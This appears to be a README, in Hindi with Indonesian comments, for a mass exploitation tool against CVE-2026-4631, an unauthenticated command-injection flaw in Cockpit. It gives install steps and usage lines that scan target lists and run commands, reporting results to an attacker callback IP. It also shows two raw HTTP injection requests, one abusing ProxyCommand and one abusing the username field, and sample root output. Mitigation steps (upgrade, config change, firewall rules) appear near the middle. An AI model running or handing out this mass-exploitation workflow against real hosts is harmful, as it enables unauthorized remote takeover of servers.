SSH कमांड-लाइन तर्क इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन | Cockpit संस्करण 327 – 359 | CVSS 9.8 गंभीर | CWE-78
SSH कमांड-लाइन आर्गुमेंट इंजेक्शन के माध्यम से अनऑथेंटिकेटेड रिमोट कोड एक्सीक्यूशन Cockpit संस्करण 327 – 359 | CVSS 9.8 क्रिटिकल | CWE-78
CVE-2026-4631 के लिए Cockpit वेब सर्विस (cockpit-ws, पोर्ट 9090) पर मास एक्सप्लॉइटेशन टूल। वल्नरेबिलिटी स्कैन मोड, बिल्ट-इन HTTP कॉलबैक लिसनर के माध्यम से कमांड आउटपुट कैप्चर के साथ RCE मोड, --auto मोड (डिफ़ॉल्ट कमांड id के साथ एक ही बार में स्कैन + एक्सप्लॉइट), बिना पोर्ट वाले टार्गेट के लिए पोर्ट :9090 ऑटो-एड, दोनों अटैक वेक्टर (ProxyCommand + यूज़रनेम %r इंजेक्शन), फ़ाइल से मास टार्गेट, कॉन्करेंसी थ्रेडिंग, और संरचित परिणाम आउटपुट सपोर्ट करता है।
लेखक: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
targets.txt संपादित करें — एक पंक्ति में एक होस्ट। यदि पोर्ट नहीं है तो :9090 स्वचालित रूप से जोड़ा जाता है:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>
# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>
# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>
CVE-2026-4631 एक blind RCE है — कमांड का आउटपुट HTTP रिस्पॉन्स में वापस नहीं आता। टूल आउटपुट कैप्चर करने के लिए बिल्ट-इन HTTP लिसनर (डिफ़ॉल्ट पोर्ट 8888) का उपयोग करता है। सुनिश्चित करें:
--callback-ip वह IP है जो टार्गेट से रीचेबल हो (127.0.0.1 नहीं)8888 की अनुमति दे (या कस्टम --listener-port)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
/etc/cockpit/cockpit.conf संपादित करें:
[WebService]
LoginTo = false
सर्विस रीस्टार्ट करें:
sudo systemctl restart cockpit
पोर्ट 9090 को केवल मैनेजमेंट नेटवर्क तक सीमित करें:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
अर्ली होस्टनेम वैलिडेशन के माध्यम से Vector 1 (ProxyCommand इंजेक्शन) को मिटिगेट करता है:
ssh -V # harus OpenSSH_9.6 atau lebih baru
यदि 360 में अपग्रेड नहीं कर सकते, तो पैच कमिट लागू करें:
beiboot.py और cockpitauth.c में -- सेपरेटर जोड़ेंsession.py में -- जोड़ेंपैच विवरण: docs/PATCH_ANALYSIS.md देखें
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Severity | क्रिटिकल (CVSS 9.8) |
| CWE | CWE-78 — OS कमांड इंजेक्शन |
| Affected | Cockpit 327 – 359 |
| Fixed in | Cockpit 360+ |
| Auth required | नहीं (प्री-ऑथेंटिकेशन) |
| Reporter | Jelle van der Waa |
| Service | cockpit-ws, डिफ़ॉल्ट पोर्ट 9090 |
Cockpit v327 ने cockpit-ssh (libssh) को python3 -m cockpit.beiboot से बदल दिया जो सिस्टम OpenSSH ssh क्लाइंट को इनवोक करता है। यूज़र-नियंत्रित इनपुट — URL पाथ से होस्टनेम और Authorization: Basic हेडर से यूज़रनेम — बिना सैनिटाइज़ेशन और बिना -- end-of-options सेपरेटर के ssh को पास किया जाता है। इंजेक्शन क्रेडेंशियल वेरिफिकेशन से पहले होता है, इसलिए वैध लॉगिन की आवश्यकता नहीं होती।
URL पाथ से होस्टनेम को SSH विकल्प -oProxyCommand=<cmd> के साथ इंजेक्ट किया जाता है।
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
SSH -oProxyCommand=<cmd> को विकल्प के रूप में पार्स करता है और <cmd> को ProxyCommand के रूप में एक्सीक्यूट करता है। कमांड cockpit-ws यूज़र प्रोसेस के रूप में चलती है।
पूर्वापेक्षा: टार्गेट पर OpenSSH < 9.6। OpenSSH 9.6+ में अर्ली होस्टनेम वैलिडेशन होता है जो मेटाकैरेक्टर्स को ब्लॉक करता है।
%r टोकन इंजेक्शन (द्वितीयक)Authorization: Basic हेडर से यूज़रनेम को शेल कमांड के साथ इंजेक्ट किया जाता है।
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")
SSH Match exec डायरेक्टिव में %r को यूज़रनेम के साथ एक्सपैंड करता है → शेल इंजेक्टेड कमांड को एक्सीक्यूट करता है।
पूर्वापेक्षा: टार्गेट ssh_config में %r टोकन के साथ Match exec डायरेक्टिव हो।
LoginTo) डिसेबल न होMatch exec %r के साथ ssh_config# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Install dependency
pip install -r requirements.txt
# Verifikasi
python3 exploit.py --help
requests>=2.31 — एक्सप्लॉइट रिक्वेस्ट के लिए HTTP क्लाइंटcolorama>=0.4 — रंगीन टर्मिनल आउटपुटलिसनर के लिए कोई अतिरिक्त निर्भरता नहीं है (stdlib http.server + threading का उपयोग करता है)।
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection